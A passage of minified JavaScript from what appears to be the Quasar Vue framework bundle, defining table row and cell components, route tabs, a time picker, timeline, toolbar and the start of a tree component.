                    style: this.tableStyle
                }, [e, this.getTableBody(t)])
            },
            scrollTo: function(t) {
                if (void 0 === this.$refs.virtScroll) {
                    t = parseInt(t, 10);
                    var e = this.$el.querySelector("tbody tr:nth-of-type(" + (t + 1) + ")");
                    if (null !== e) {
                        var i = this.$el.querySelector(".q-table__middle.scroll")
                          , s = e.offsetTop
                          , n = s < i.scrollTop ? "decrease" : "increase";
                        i.scrollTop = s,
                        this.$emit("virtual-scroll", {
                            index: t,
                            from: 0,
                            to: this.pagination.rowsPerPage - 1,
                            direction: n
                        })
                    }
                } else
                    this.$refs.virtScroll.scrollTo(t)
            },
            __onVScroll: function(t) {
                this.$emit("virtual-scroll", t)
            },
            __getProgress: function(t) {
                return [t(or, {
                    staticClass: "q-table__linear-progress",
                    props: {
                        color: this.color,
                        dark: this.isDark,
                        indeterminate: !0,
                        trackColor: "transparent"
                    }
                })]
            }
        }
    })
      , wa = t.extend({
        name: "QTr",
        mixins: [Mt],
        props: {
            props: Object,
            noHover: Boolean
        },
        computed: {
            classes: function() {
                return "q-tr" + (void 0 === this.props || !0 === this.props.header ? "" : " " + this.props.__trClass) + (!0 === this.noHover ? " q-tr--no-hover" : "")
            }
        },
        render: function(t) {
            return t("tr", {
                on: Object.assign({}, this.qListeners),
                class: this.classes
            }, Lt(this, "default"))
        }
    })
      , Sa = t.extend({
        name: "QTd",
        mixins: [Mt],
        props: {
            props: Object,
            autoWidth: Boolean,
            noHover: Boolean
        },
        computed: {
            classes: function() {
                return "q-td" + (!0 === this.autoWidth ? " q-table--col-auto-width" : "") + (!0 === this.noHover ? " q-td--no-hover" : "")
            }
        },
        render: function(t) {
            var e = this.qListeners;
            if (void 0 === this.props)
                return t("td", {
                    on: e,
                    class: this.classes
                }, Lt(this, "default"));
            var i = this.$vnode.key
              , s = void 0 !== this.props.colsMap && i ? this.props.colsMap[i] : this.props.col;
            return void 0 !== s ? t("td", {
                on: e,
                style: s.style,
                class: this.classes + " " + s.__tdClass
            }, Lt(this, "default")) : void 0
        }
    })
      , xa = /\/?$/;
    function Ca(t, e) {
        return !!e && (t.path && e.path ? t.path.replace(xa, "") === e.path.replace(xa, "") && t.hash === e.hash && wi(t.query, e.query) : !(!t.name || !e.name) && (t.name === e.name && t.hash === e.hash && wi(t.query, e.query) && wi(t.params, e.params)))
    }
    function ka(t, e) {
        return 0 === t.path.replace(xa, "/").indexOf(e.path.replace(xa, "/")) && (!e.hash || t.hash === e.hash) && function(t, e) {
            for (var i in e)
                if (!(i in t))
                    return !1;
            return !0
        }(t.query, e.query)
    }
    var qa = t.extend({
        name: "QRouteTab",
        mixins: [rs, Wt],
        props: {
            to: {
                required: !0
            }
        },
        inject: {
            __activateRoute: {},
            __recalculateScroll: {}
        },
        watch: {
            $route: function() {
                this.__checkActivation()
            }
        },
        methods: {
            __activate: function(t, e) {
                !0 !== this.disable && this.__checkActivation(!0),
                !0 === e ? this.$el.focus(t) : void 0 !== this.$refs.blurTarget && this.$refs.blurTarget.focus(t)
            },
            __checkActivation: function(t) {
                void 0 === t && (t = !1);
                var e = this.$route
                  , i = this.$router.resolve(this.to, e, this.append)
                  , s = i.href
                  , n = i.location
                  , o = i.route
                  , r = void 0 !== o.redirectedFrom
                  , a = !0 === this.exact ? Ca : ka
                  , l = {
                    name: this.name,
                    selected: t,
                    exact: this.exact,
                    priorityMatched: o.matched.length,
                    priorityHref: s.length
                };
                a(e, o) && this.__activateRoute(Object.assign({}, l, {
                    redirected: r
                })),
                !0 === r && a(e, Object.assign({}, {
                    path: o.redirectedFrom
                }, n)) && this.__activateRoute(l),
                this.isActive && this.__activateRoute()
            }
        },
        mounted: function() {
            this.__recalculateScroll(),
            void 0 !== this.$router && this.__checkActivation()
        },
        beforeDestroy: function() {
            this.__recalculateScroll(),
            this.__activateRoute({
                remove: !0,
                name: this.name
            })
        },
        render: function(t) {
            return this.__renderTab(t, "router-link", this.routerLinkProps)
        }
    })
      , Ta = t.extend({
        name: "QTime",
        mixins: [ws],
        directives: {
            TouchPan: Qi
        },
        props: {
            mask: {
                default: null
            },
            format24h: {
                type: Boolean,
                default: null
            },
            defaultDate: {
                type: String,
                validator: function(t) {
                    return /^-?[\d]+\/[0-1]\d\/[0-3]\d$/.test(t)
                }
            },
            options: Function,
            hourOptions: Array,
            minuteOptions: Array,
            secondOptions: Array,
            withSeconds: Boolean,
            nowBtn: Boolean
        },
        data: function() {
            var t = Ms(this.value, this.__getComputedMask(), this.__getComputedLocale(), this.calendar, this.__getDefaultDateModel())
              , e = "Hour";
            return null !== t.hour && (null === t.minute ? e = "Minute" : !0 === this.withSeconds && null === t.second && (e = "Second")),
            {
                view: e,
                isAM: null === t.hour || t.hour < 12,
                innerModel: t
            }
        },
        watch: {
            value: function(t) {
                var e = Ms(t, this.computedMask, this.computedLocale, this.calendar, this.defaultDateModel);
                e.dateHash === this.innerModel.dateHash && e.timeHash === this.innerModel.timeHash || (this.innerModel = e,
                null === e.hour ? this.view = "Hour" : this.isAM = e.hour < 12)
            }
        },
        computed: {
            classes: function() {
                return "q-time q-time--" + (!0 === this.landscape ? "landscape" : "portrait") + (!0 === this.isDark ? " q-time--dark q-dark" : "") + (!0 === this.disable ? " disabled" : !0 === this.readonly ? " q-time--readonly" : "") + (!0 === this.bordered ? " q-time--bordered" : "") + (!0 === this.square ? " q-time--square no-border-radius" : "") + (!0 === this.flat ? " q-time--flat no-shadow" : "")
            },
            computedMask: function() {
                return this.__getComputedMask()
            },
            stringModel: function() {
                var t = this.innerModel;
                return {
                    hour: null === t.hour ? "--" : !0 === this.computedFormat24h ? pt(t.hour) : String(!0 === this.isAM ? 0 === t.hour ? 12 : t.hour : t.hour > 12 ? t.hour - 12 : t.hour),
                    minute: null === t.minute ? "--" : pt(t.minute),
                    second: null === t.second ? "--" : pt(t.second)
                }
            },
            defaultDateModel: function() {
                return this.__getDefaultDateModel()
            },
            computedFormat24h: function() {
                return null !== this.format24h ? this.format24h : this.$q.lang.date.format24h
            },
            pointerStyle: function() {
                var t = "Hour" === this.view
                  , e = !0 === t ? 12 : 60
                  , i = this.innerModel[this.view.toLowerCase()]
                  , s = "rotate(" + (Math.round(i * (360 / e)) - 180) + "deg) translateX(-50%)";
                return !0 === t && !0 === this.computedFormat24h && this.innerModel.hour >= 12 && (s += " scale(.7)"),
                {
                    transform: s
                }
            },
            minLink: function() {
                return null !== this.innerModel.hour
            },
            secLink: function() {
                return !0 === this.minLink && null !== this.innerModel.minute
            },
            hourInSelection: function() {
                var t = this;
                return void 0 !== this.hourOptions ? function(e) {
                    return t.hourOptions.includes(e)
                }
                : void 0 !== this.options ? function(e) {
                    return t.options(e, null, null)
                }
                : void 0
            },
            minuteInSelection: function() {
                var t = this;
                return void 0 !== this.minuteOptions ? function(e) {
                    return t.minuteOptions.includes(e)
                }
                : void 0 !== this.options ? function(e) {
                    return t.options(t.innerModel.hour, e, null)
                }
                : void 0
            },
            secondInSelection: function() {
                var t = this;
                return void 0 !== this.secondOptions ? function(e) {
                    return t.secondOptions.includes(e)
                }
                : void 0 !== this.options ? function(e) {
                    return t.options(t.innerModel.hour, t.innerModel.minute, e)
                }
                : void 0
            },
            positions: function() {
                var t, e, i, s = 0, n = 1;
                "Hour" === this.view ? (i = this.hourInSelection,
                !0 === this.computedFormat24h ? (t = 0,
                e = 23) : (t = 0,
                e = 11,
                !1 === this.isAM && (s = 12))) : (t = 0,
                e = 55,
                n = 5,
                i = "Minute" === this.view ? this.minuteInSelection : this.secondInSelection);
                for (var o = [], r = t, a = t; r <= e; r += n,
                a++) {
                    var l = r + s
                      , c = void 0 !== i && !1 === i(l)
                      , u = "Hour" === this.view && 0 === r ? !0 === this.format24h ? "00" : "12" : r;
                    o.push({
                        val: l,
                        index: a,
                        disable: c,
                        label: u
                    })
                }
                return o
            }
        },
        methods: {
            setNow: function() {
                this.__updateValue(Object.assign({}, this.__getCurrentDate(), this.__getCurrentTime())),
                this.view = "Hour"
            },
            __getDefaultDateModel: function() {
                if ("string" != typeof this.defaultDate) {
                    var t = this.__getCurrentDate();
                    return t.dateHash = t.year + "/" + pt(t.month) + "/" + pt(t.day),
                    t
                }
                return Ms(this.defaultDate, "YYYY/MM/DD", void 0, this.calendar)
            },
            __click: function(t) {
                !0 !== this._isBeingDestroyed && !0 !== this._isDestroyed && (!0 !== this.$q.platform.is.desktop && this.__updateClock(t, this.__getClockRect()),
                this.__goToNextView())
            },
            __activate: function(t) {
                !0 !== this._isBeingDestroyed && !0 !== this._isDestroyed && this.__updateClock(t, this.__getClockRect())
            },
            __getClockRect: function() {
                var t = this.$refs.clock.getBoundingClientRect()
                  , e = t.top
                  , i = t.left
                  , s = t.width / 2;
                return {
                    top: e + s,
                    left: i + s,
                    dist: .7 * s
                }
            },
            __goToNextView: function() {
                "Hour" === this.view ? this.view = "Minute" : this.withSeconds && "Minute" === this.view && (this.view = "Second")
            },
            __drag: function(t) {
                if (!0 !== this._isBeingDestroyed && !0 !== this._isDestroyed) {
                    if (!0 === t.isFirst)
                        return this.draggingClockRect = this.__getClockRect(),
                        void (this.dragCache = this.__updateClock(t.evt, this.draggingClockRect));
                    this.dragCache = this.__updateClock(t.evt, this.draggingClockRect, this.dragCache),
                    !0 === t.isFinal && (this.draggingClockRect = !1,
                    this.dragCache = null,
                    this.__goToNextView())
                }
            },
            __updateClock: function(t, e, i) {
                var s, n = v(t), o = Math.abs(n.top - e.top), r = Math.sqrt(Math.pow(Math.abs(n.top - e.top), 2) + Math.pow(Math.abs(n.left - e.left), 2)), a = Math.asin(o / r) * (180 / Math.PI);
                if (a = n.top < e.top ? e.left < n.left ? 90 - a : 270 + a : e.left < n.left ? a + 90 : 270 - a,
                "Hour" === this.view ? (s = Math.round(a / 30),
                !0 === this.computedFormat24h ? (r < e.dist ? s < 12 && (s += 12) : 12 === s && (s = 0),
                this.isAM = s < 12) : !0 === this.isAM && 12 === s ? s = 0 : !1 === this.isAM && 12 !== s && (s += 12)) : 60 === (s = Math.round(a / 6)) && (s = 0),
                i === s)
                    return s;
                var l = this[this.view.toLowerCase() + "InSelection"];
                return void 0 === l || !0 === l(s) ? (this["__set" + this.view](s),
                s) : void 0
            },
            __onKeyupHour: function(t) {
                if (13 === t.keyCode)
                    this.view = "Hour";
                else {
                    var e = !0 === this.computedFormat24h ? 24 : 12
                      , i = !0 !== this.computedFormat24h && !1 === this.isAM ? 12 : 0;
                    37 === t.keyCode ? this.__setHour(i + (24 + this.innerModel.hour - 1) % e) : 39 === t.keyCode && this.__setHour(i + (24 + this.innerModel.hour + 1) % e)
                }
            },
            __onKeyupMinute: function(t) {
                13 === t.keyCode ? this.view = "Minute" : 37 === t.keyCode ? this.__setMinute((60 + this.innerModel.minute - 1) % 60) : 39 === t.keyCode && this.__setMinute((60 + this.innerModel.minute + 1) % 60)
            },
            __onKeyupSecond: function(t) {
                13 === t.keyCode ? this.view = "Second" : 37 === t.keyCode ? this.__setSecond((60 + this.innerModel.second - 1) % 60) : 39 === t.keyCode && this.__setSecond((60 + this.innerModel.second + 1) % 60)
            },
            __getHeader: function(t) {
                var e = this
                  , i = [t("div", {
                    staticClass: "q-time__link",
                    class: "Hour" === this.view ? "q-time__link--active" : "cursor-pointer",
                    attrs: {
                        tabindex: this.computedTabindex
                    },
                    on: mt(this, "vH", {
                        click: function() {
                            e.view = "Hour"
                        },
                        keyup: this.__onKeyupHour
                    })
                }, [this.stringModel.hour]), t("div", [":"]), t("div", !0 === this.minLink ? {
                    staticClass: "q-time__link",
                    class: "Minute" === this.view ? "q-time__link--active" : "cursor-pointer",
                    attrs: {
                        tabindex: this.computedTabindex
                    },
                    on: mt(this, "vM", {
                        click: function() {
                            e.view = "Minute"
                        },
                        keyup: this.__onKeyupMinute
                    })
                } : {
                    staticClass: "q-time__link"
                }, [this.stringModel.minute])];
                return !0 === this.withSeconds && i.push(t("div", [":"]), t("div", !0 === this.secLink ? {
                    staticClass: "q-time__link",
                    class: "Second" === this.view ? "q-time__link--active" : "cursor-pointer",
                    attrs: {
                        tabindex: this.computedTabindex
                    },
                    on: mt(this, "vS", {
                        click: function() {
                            e.view = "Second"
                        },
                        keyup: this.__onKeyupSecond
                    })
                } : {
                    staticClass: "q-time__link"
                }, [this.stringModel.second])),
                t("div", {
                    staticClass: "q-time__header flex flex-center no-wrap",
                    class: this.headerClass
                }, [t("div", {
                    staticClass: "q-time__header-label row items-center no-wrap",
                    attrs: {
                        dir: "ltr"
                    }
                }, i), !1 === this.computedFormat24h ? t("div", {
                    staticClass: "q-time__header-ampm column items-between no-wrap"
                }, [t("div", {
                    staticClass: "q-time__link",
                    class: !0 === this.isAM ? "q-time__link--active" : "cursor-pointer",
                    attrs: {
                        tabindex: this.computedTabindex
                    },
                    on: mt(this, "AM", {
                        click: this.__setAm,
                        keyup: function(t) {
                            13 === t.keyCode && e.__setAm()
                        }
                    })
                }, ["AM"]), t("div", {
                    staticClass: "q-time__link",
                    class: !0 !== this.isAM ? "q-time__link--active" : "cursor-pointer",
                    attrs: {
                        tabindex: this.computedTabindex
                    },
                    on: mt(this, "PM", {
                        click: this.__setPm,
                        keyup: function(t) {
                            13 === t.keyCode && e.__setPm()
                        }
                    })
                }, ["PM"])]) : null])
            },
            __getClock: function(t) {
                var e = this
                  , i = this.view.toLowerCase()
                  , s = this.innerModel[i];
                return t("div", {
                    staticClass: "q-time__content col relative-position"
                }, [t("transition", {
                    props: {
                        name: "q-transition--scale"
                    }
                }, [t("div", {
                    key: "clock" + this.view,
                    staticClass: "q-time__container-parent absolute-full"
                }, [t("div", {
                    ref: "clock",
                    staticClass: "q-time__container-child fit overflow-hidden"
                }, [t("div", {
                    staticClass: "q-time__clock cursor-pointer non-selectable",
                    on: mt(this, "click", {
                        click: this.__click,
                        mousedown: this.__activate
                    }),
                    directives: mt(this, "touch", [{
                        name: "touch-pan",
                        value: this.__drag,
                        modifiers: {
                            stop: !0,
                            prevent: !0,
                            mouse: !0
                        }
                    }])
                }, [t("div", {
                    staticClass: "q-time__clock-circle fit"
                }, [t("div", {
                    staticClass: "q-time__clock-pointer",
                    style: this.pointerStyle,
                    class: null === this.innerModel[i] ? "hidden" : void 0 !== this.color ? "text-" + this.color : ""
                }), this.positions.map(function(i) {
                    return t("div", {
                        staticClass: "q-time__clock-position row flex-center q-time__clock-pos-" + i.index,
                        class: i.val === s ? e.headerClass.concat(" q-time__clock-position--active") : !0 === i.disable ? "q-time__clock-position--disable" : null
                    }, [t("span", [i.label])])
                })])])])])]), !0 === this.nowBtn ? t(be, {
                    staticClass: "q-time__now-button absolute",
                    props: {
                        icon: this.$q.iconSet.datetime.now,
                        unelevated: !0,
                        size: "sm",
                        round: !0,
                        color: this.color,
                        textColor: this.textColor,
                        tabindex: this.computedTabindex
                    },
                    on: mt(this, "now", {
                        click: this.setNow
                    })
                }) : null])
            },
            __setHour: function(t) {
                this.innerModel.hour !== t && (this.innerModel.hour = t,
                this.innerModel.minute = null,
                this.innerModel.second = null)
            },
            __setMinute: function(t) {
                this.innerModel.minute !== t && (this.innerModel.minute = t,
                this.innerModel.second = null,
                !0 !== this.withSeconds && this.__updateValue({
                    minute: t
                }))
            },
            __setSecond: function(t) {
                this.innerModel.second !== t && this.__updateValue({
                    second: t
                })
            },
            __setAm: function() {
                this.isAM || (this.isAM = !0,
                null !== this.innerModel.hour && (this.innerModel.hour -= 12,
                this.__verifyAndUpdate()))
            },
            __setPm: function() {
                this.isAM && (this.isAM = !1,
                null !== this.innerModel.hour && (this.innerModel.hour += 12,
                this.__verifyAndUpdate()))
            },
            __verifyAndUpdate: function() {
                return void 0 !== this.hourInSelection && !0 !== this.hourInSelection(this.innerModel.hour) ? (this.innerModel = Ms(),
                this.isAM = !0,
                void (this.view = "Hour")) : void 0 !== this.minuteInSelection && !0 !== this.minuteInSelection(this.innerModel.minute) ? (this.innerModel.minute = null,
                this.innerModel.second = null,
                void (this.view = "Minute")) : !0 === this.withSeconds && void 0 !== this.secondInSelection && !0 !== this.secondInSelection(this.innerModel.second) ? (this.innerModel.second = null,
                void (this.view = "Second")) : void (null === this.innerModel.hour || null === this.innerModel.minute || !0 === this.withSeconds && null === this.innerModel.second || this.__updateValue({}))
            },
            __getComputedMask: function() {
                return "persian" !== this.calendar && null !== this.mask ? this.mask : "HH:mm" + (!0 === this.withSeconds ? ":ss" : "")
            },
            __updateValue: function(t) {
                var e = Object.assign({}, this.innerModel, t)
                  , i = "persian" === this.calendar ? pt(e.hour) + ":" + pt(e.minute) + (!0 === this.withSeconds ? ":" + pt(e.second) : "") : Ns(new Date(e.year,null === e.month ? null : e.month - 1,e.day,e.hour,e.minute,e.second,e.millisecond), this.computedMask, this.computedLocale, e.year, e.timezoneOffset);
                e.changed = i !== this.value,
                this.$emit("input", i, e)
            }
        },
        render: function(t) {
            var e = [this.__getClock(t)]
              , i = Lt(this, "default");
            return void 0 !== i && e.push(t("div", {
                staticClass: "q-time__actions"
            }, i)),
            void 0 !== this.name && !0 !== this.disable && this.__injectFormInput(e, "push"),
            t("div", {
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    tabindex: -1
                }
            }, [this.__getHeader(t), t("div", {
                staticClass: "q-time__main col overflow-auto"
            }, e)])
        }
    })
      , $a = t.extend({
        name: "QTimeline",
        mixins: [Dt, Mt],
        provide: function() {
            return {
                __timeline: this
            }
        },
        props: {
            color: {
                type: String,
                default: "primary"
            },
            side: {
                type: String,
                default: "right",
                validator: function(t) {
                    return ["left", "right"].includes(t)
                }
            },
            layout: {
                type: String,
                default: "dense",
                validator: function(t) {
                    return ["dense", "comfortable", "loose"].includes(t)
                }
            }
        },
        computed: {
            classes: function() {
                return "q-timeline--" + this.layout + " q-timeline--" + this.layout + "--" + this.side + (!0 === this.isDark ? " q-timeline--dark" : "")
            }
        },
        render: function(t) {
            return t("ul", {
                staticClass: "q-timeline",
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , Ma = t.extend({
        name: "QTimelineEntry",
        inject: {
            __timeline: {
                default: function() {
                    console.error("QTimelineEntry needs to be child of QTimeline")
                }
            }
        },
        mixins: [Mt],
        props: {
            heading: Boolean,
            tag: {
                type: String,
                default: "h3"
            },
            side: {
                type: String,
                default: "right",
                validator: function(t) {
                    return ["left", "right"].includes(t)
                }
            },
            icon: String,
            avatar: String,
            color: String,
            title: String,
            subtitle: String,
            body: String
        },
        computed: {
            colorClass: function() {
                return "text-" + (this.color || this.__timeline.color)
            },
            classes: function() {
                return "q-timeline__entry--" + this.side + (void 0 !== this.icon || void 0 !== this.avatar ? " q-timeline__entry--icon" : "")
            },
            reverse: function() {
                return "comfortable" === this.__timeline.layout && "left" === this.__timeline.side
            }
        },
        render: function(t) {
            var e, i = Bt(this, "default", []);
            if (void 0 !== this.body && i.unshift(this.body),
            !0 === this.heading) {
                var s = [t("div"), t("div"), t(this.tag, {
                    staticClass: "q-timeline__heading-title"
                }, i)];
                return t("div", {
                    staticClass: "q-timeline__heading",
                    on: Object.assign({}, this.qListeners)
                }, !0 === this.reverse ? s.reverse() : s)
            }
            void 0 !== this.icon ? e = [t(Et, {
                staticClass: "row items-center justify-center",
                props: {
                    name: this.icon
                }
            })] : void 0 !== this.avatar && (e = [t("img", {
                staticClass: "q-timeline__dot-img",
                domProps: {
                    src: this.avatar
                }
            })]);
            var n = [t("div", {
                staticClass: "q-timeline__subtitle"
            }, [t("span", Lt(this, "subtitle", [this.subtitle]))]), t("div", {
                staticClass: "q-timeline__dot",
                class: this.colorClass
            }, e), t("div", {
                staticClass: "q-timeline__content"
            }, [t("h6", {
                staticClass: "q-timeline__title"
            }, Lt(this, "title", [this.title]))].concat(i))];
            return t("li", {
                staticClass: "q-timeline__entry",
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, !0 === this.reverse ? n.reverse() : n)
        }
    })
      , La = t.extend({
        name: "QToolbar",
        mixins: [Mt],
        props: {
            inset: Boolean
        },
        render: function(t) {
            return t("div", {
                staticClass: "q-toolbar row no-wrap items-center",
                class: this.inset ? "q-toolbar--inset" : null,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , Ba = t.extend({
        name: "QToolbarTitle",
        mixins: [Mt],
        props: {
            shrink: Boolean
        },
        computed: {
            classes: function() {
                return "q-toolbar__title ellipsis" + (!0 === this.shrink ? " col-shrink" : "")
            }
        },
        render: function(t) {
            return t("div", {
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , Pa = t.extend({
        name: "QTree",
        mixins: [Dt],
        props: {
            nodes: {
                type: Array,
                required: !0
            },
            nodeKey: {
                type: String,
                required: !0
            },
            labelKey: {
                type: String,
                default: "label"
            },
            childrenKey: {
                type: String,
                default: "children"
            },
            color: String,
            controlColor: String,
            textColor: String,
            selectedColor: String,
            icon: String,
            tickStrategy: {
                type: String,
                default: "none",
                validator: function(t) {
                    return ["none", "strict", "leaf", "leaf-filtered"].includes(t)
                }
            },
            ticked: Array,
            expanded: Array,
            selected: {},
            defaultExpandAll: Boolean,
            accordion: Boolean,
            filter: String,
            filterMethod: {
                type: Function,
                default: function(t, e) {
                    var i = e.toLowerCase();
                    return t[this.labelKey] && t[this.labelKey].toLowerCase().indexOf(i) > -1
                }
            },
            duration: Number,
            noConnectors: Boolean,
            noNodesLabel: String,
            noResultsLabel: String
        },
        computed: {
            classes: function() {
                return "q-tree" + (!0 === this.noConnectors ? " q-tree--no-connectors" : "") + (!0 === this.isDark ? " q-tree--dark" : "") + (void 0 !== this.color ? " text-" + this.color : "")
            },
            hasSelection: function() {
                return void 0 !== this.selected
            },
            computedIcon: function() {
                return this.icon || this.$q.iconSet.tree.icon
            },
            computedControlColor: function() {
                return this.controlColor || this.color
            },
            textColorClass: function() {
                if (void 0 !== this.textColor)
                    return "text-" + this.textColor
            },
            selectedColorClass: function() {
                var t = this.selectedColor || this.color;
                if (t)
                    return "text-" + t
            },
            meta: function() {
                var t = this
                  , e = {}
                  , i = function(s, n) {
                    var o = s.tickStrategy || (n ? n.tickStrategy : t.tickStrategy)
                      , r = s[t.nodeKey]
                      , a = s[t.childrenKey] && s[t.childrenKey].length > 0
                      , l = !0 !== a
                      , c = !0 !== s.disabled && !0 === t.hasSelection && !1 !== s.selectable
                      , u = !0 !== s.disabled && !1 !== s.expandable
                      , h = "none" !== o
                      , d = "strict" === o
                      , p = "leaf-filtered" === o
                      , f = "leaf" === o || "leaf-filtered" === o
                      , m = !0 !== s.disabled && !1 !== s.tickable;
                    !0 === f && !0 === m && n && !0 !== n.tickable && (m = !1);
                    var v = s.lazy;
                    v && t.lazy[r] && (v = t.lazy[r]);
                    var g = {
                        key: r,
                        parent: n,
                        isParent: a,
                        isLeaf: l,
                        lazy: v,
                        disabled: s.disabled,
                        link: !0 !== s.disabled && (!0 === c || !0 === u && (!0 === a || !0 === v)),
                        children: [],
                        matchesFilter: !t.filter || t.filterMethod(s, t.filter),
                        selected: r === t.selected && !0 === c,
                        selectable: c,
                        expanded: !0 === a && t.innerExpanded.includes(r),
                        expandable: u,
                        noTick: !0 === s.noTick || !0 !== d && v && "loaded" !== v,
                        tickable: m,
                        tickStrategy: o,
                        hasTicking: h,
                        strictTicking: d,
                        leafFilteredTicking: p,
                        leafTicking: f,
                        ticked: !0 === d ? t.innerTicked.includes(r) : !0 === l && t.innerTicked.includes(r)
                    };
                    if (e[r] = g,
                    !0 === a && (g.children = s[t.childrenKey].map(function(t) {
                        return i(t, g)
                    }),
                    t.filter && (!0 !== g.matchesFilter ? g.matchesFilter = g.children.some(function(t) {
                        return t.matchesFilter
                    }) : !0 !== g.noTick && !0 !== g.disabled && !0 === g.tickable && !0 === p && !0 === g.children.every(function(t) {
                        return !0 !== t.matchesFilter || !0 === t.noTick || !0 !== t.tickable
                    }) && (g.tickable = !1)),
                    !0 === g.matchesFilter && (!0 !== g.noTick && !0 !== d && !0 === g.children.every(function(t) {
                        return t.noTick
                    }) && (g.noTick = !0),
                    f))) {
                        if (g.ticked = !1,
                        g.indeterminate = g.children.some(function(t) {
                            return !0 === t.indeterminate
                        }),
                        g.tickable = !0 === g.tickable && g.children.some(function(t) {
                            return t.tickable
                        }),
                        !0 !== g.indeterminate) {
                            var _ = g.children.reduce(function(t, e) {
                                return !0 === e.ticked ? t + 1 : t
                            }, 0);
                            _ === g.children.length ? g.ticked = !0 : _ > 0 && (g.indeterminate = !0)
                        }
                        !0 === g.indeterminate && (g.indeterminateNextState = g.children.every(function(t) {
                            return !0 !== t.tickable || !0 !== t.ticked
                        }))
                    }
                    return g
                };
                return this.nodes.forEach(function(t) {
                    return i(t, null)
                }),
                e
            }
        },
        data: function() {
            return {
                lazy: {},
                innerTicked: this.ticked || [],
                innerExpanded: this.expanded || []
            }
        },
        watch: {
            ticked: function(t) {
                this.innerTicked = t
            },
            expanded: function(t) {
                this.innerExpanded = t
            }
        },
        methods: {
            getNodeByKey: function(t) {
                var e = this
                  , i = [].reduce
                  , s = function(n, o) {
                    return n || !o ? n : !0 === Array.isArray(o) ? i.call(Object(o), s, n) : o[e.nodeKey] === t ? o : o[e.childrenKey] ? s(null, o[e.childrenKey]) : void 0
                };
                return s(null, this.nodes)
            },
            getTickedNodes: function() {
                var t = this;
                return this.innerTicked.map(function(e) {
                    return t.getNodeByKey(e)
                })
            },
            getExpandedNodes: function() {
                var t = this;
                return this.innerExpanded.map(function(e) {
                    return t.getNodeByKey(e)
                })
            },
            isExpanded: function(t) {
                return !(!t || !this.meta[t]) && this.meta[t].expanded
            },
            collapseAll: function() {
                void 0 !== this.expanded ? this.$emit("update:expanded", []) : this.innerExpanded = []
            },
            expandAll: function() {
                var t = this
                  , e = this.innerExpanded
                  , i = function(s) {
                    s[t.childrenKey] && s[t.childrenKey].length > 0 && !1 !== s.expandable && !0 !== s.disabled && (e.push(s[t.nodeKey]),
                    s[t.childrenKey].forEach(i))
                };
                this.nodes.forEach(i),
                void 0 !== this.expanded ? this.$emit("update:expanded", e) : this.innerExpanded = e
            },
            setExpanded: function(t, e, i, s) {
                var n = this;
                if (void 0 === i && (i = this.getNodeByKey(t)),
                void 0 === s && (s = this.meta[t]),
                s.lazy && "loaded" !== s.lazy) {
                    if ("loading" === s.lazy)
                        return;
                    this.$set(this.lazy, t, "loading"),
                    this.$emit("lazy-load", {
                        node: i,
                        key: t,
                        done: function(e) {
                            n.lazy[t] = "loaded",
                            e && n.$set(i, n.childrenKey, e),
                            n.$nextTick(function() {
                                var e = n.meta[t];
                                e && !0 === e.isParent && n.__setExpanded(t, !0)
                            })
                        },
                        fail: function() {
                            n.$delete(n.lazy, t)
                        }
                    })
                } else
                    !0 === s.isParent && !0 === s.expandable && this.__setExpanded(t, e)
            },
            __setExpanded: function(t, e) {
                var i = this
                  , s = this.innerExpanded
                  , n = void 0 !== this.expanded;
                if (!0 === n && (s = s.slice()),
                e) {
                    if (this.accordion && this.meta[t]) {
                        var o = [];
                        this.meta[t].parent ? this.meta[t].parent.children.forEach(function(e) {
                            e.key !== t && !0 === e.expandable && o.push(e.key)
                        }) : this.nodes.forEach(function(e) {
                            var s = e[i.nodeKey];
                            s !== t && o.push(s)
                        }),
                        o.length > 0 && (s = s.filter(function(t) {
                            return !1 === o.includes(t)
                        }))
                    }
                    s = s.concat([t]).filter(function(t, e, i) {
                        return i.indexOf(t) === e
                    })
                } else
                    s = s.filter(function(e) {
                        return e !== t
                    });
                !0 === n ? this.$emit("update:expanded", s) : this.innerExpanded = s
            },
            isTicked: function(t) {
                return !(!t || !this.meta[t]) && this.meta[t].ticked
            },
            setTicked: function(t, e) {
                var i = this.innerTicked
                  , s = void 0 !== this.ticked;
                !0 === s && (i = i.slice()),
                i = e ? i.concat(t).filter(function(t, e, i) {
                    return i.indexOf(t) === e
                }) : i.filter(function(e) {
                    return !1 === t.includes(e)
                }),
                !0 === s && this.$emit("update:ticked", i)
            },
            __getSlotScope: function(t, e, i) {
                var s = this
                  , n = {
                    tree: this,
                    node: t,
                    key: i,
                    color: this.color,
                    dark: this.isDark
                };
                return Object.defineProperty(n, "expanded", {
                    get: function() {
                        return e.expanded
                    },
                    set: function(t) {
                        t !== e.expanded && s.setExpanded(i, t)
                    },
                    configurable: !0,
                    enumerable: !0
                }),
                Object.defineProperty(n, "ticked", {
                    get: function() {
                        return e.ticked
                    },
                    set: function(t) {
                        t !== e.ticked && s.setTicked([i], t)
                    },
                    configurable: !0,
                    enumerable: !0
                }),
                n
            },
            __getChildren: function(t, e) {
                var i = this;
                return (this.filter ? e.filter(function(t) {
                    return i.meta[t[i.nodeKey]].matchesFilter
                }) : e).map(function(e) {
                    return i.__getNode(t, e)
                })
            },
            __getNodeMedia: function(t, e) {
                if (void 0 !== e.icon)
                    return t(Et, {
                        staticClass: "q-tree__icon q-mr-sm",
                        props: {
                            name: e.icon,
                            color: e.iconColor
                        }
                    });
                var i = e.img || e.avatar;
                return i ? t("img", {
                    staticClass: "q-tree__" + (e.img ? "img" : "avatar") + " q-mr-sm",
                    attrs: {
                        src: i
                    }
                }) : void 0
            },
            __getNode: function(t, e) {
                var i = this
                  , s = e[this.nodeKey]
                  , n = this.meta[s]
                  , o = e.header && this.$scopedSlots["header-" + e.header] || this.$scopedSlots["default-header"]
                  , r = !0 === n.isParent ? this.__getChildren(t, e[this.childrenKey]) : []
                  , a = r.length > 0 || n.lazy && "loaded" !== n.lazy
                  , l = e.body && this.$scopedSlots["body-" + e.body] || this.$scopedSlots["default-body"]
                  , c = void 0 !== o || void 0 !== l ? this.__getSlotScope(e, n, s) : null;
                return void 0 !== l && (l = t("div", {
                    staticClass: "q-tree__node-body relative-position"
                }, [t("div", {
                    class: this.textColorClass
